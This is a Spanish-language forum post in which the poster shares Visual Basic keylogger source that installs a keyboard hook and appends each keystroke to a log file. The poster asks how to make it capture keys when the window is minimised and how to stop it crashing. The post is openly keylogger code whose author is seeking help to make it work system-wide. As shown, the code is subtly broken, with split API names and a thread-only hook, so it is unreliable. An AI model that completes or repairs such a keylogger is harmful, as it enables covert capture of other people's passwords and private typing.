bueno tengo el siguiente code ( k sake buscando x google no se k pagina en genral) k viene a ser un keylogger vb mediante hooks :
form
Código:
Private Sub Form_Load()
hHook = SetWindowsHook Ex(WH_KEYBOARD, AddressOf KeyboardProc, App.hInstance, App.ThreadID)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsH ookEx hHook
End Sub
modulo
Código:
Public Const WH_KEYBOARD = 2
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function SetWindowsHook Ex Lib "user32" Alias "SetWindowsHook ExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function UnhookWindowsH ookEx Lib "user32" (ByVal hHook As Long) As Long
Public hHook As Long
Public Function KeyboardProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If idHook < 0 Then
KeyboardProc = CallNextHookEx(hHook, idHook, wParam, ByVal lParam)
Else
Open "log.txt" For Append As #1
Put #1, , Chr(wParam)
Close #1
'seguimos
KeyboardProc = CallNextHookEx(hHook, idHook, wParam, ByVal lParam)
End If
End Function
pero tengo los siguientes problemas:
solo me capta la teclas si al ejecutarlo el fomr1 esta en primera plana es decir k si lo miniminizo ya no las capta y 2º k estando en primera plana y pulsar una tecla pos sale un error de ke deve cerrase el programa le doy a aceptar y se crea un log pero vacio .a k se deve ese error?
como los puedo solucionar?
Autor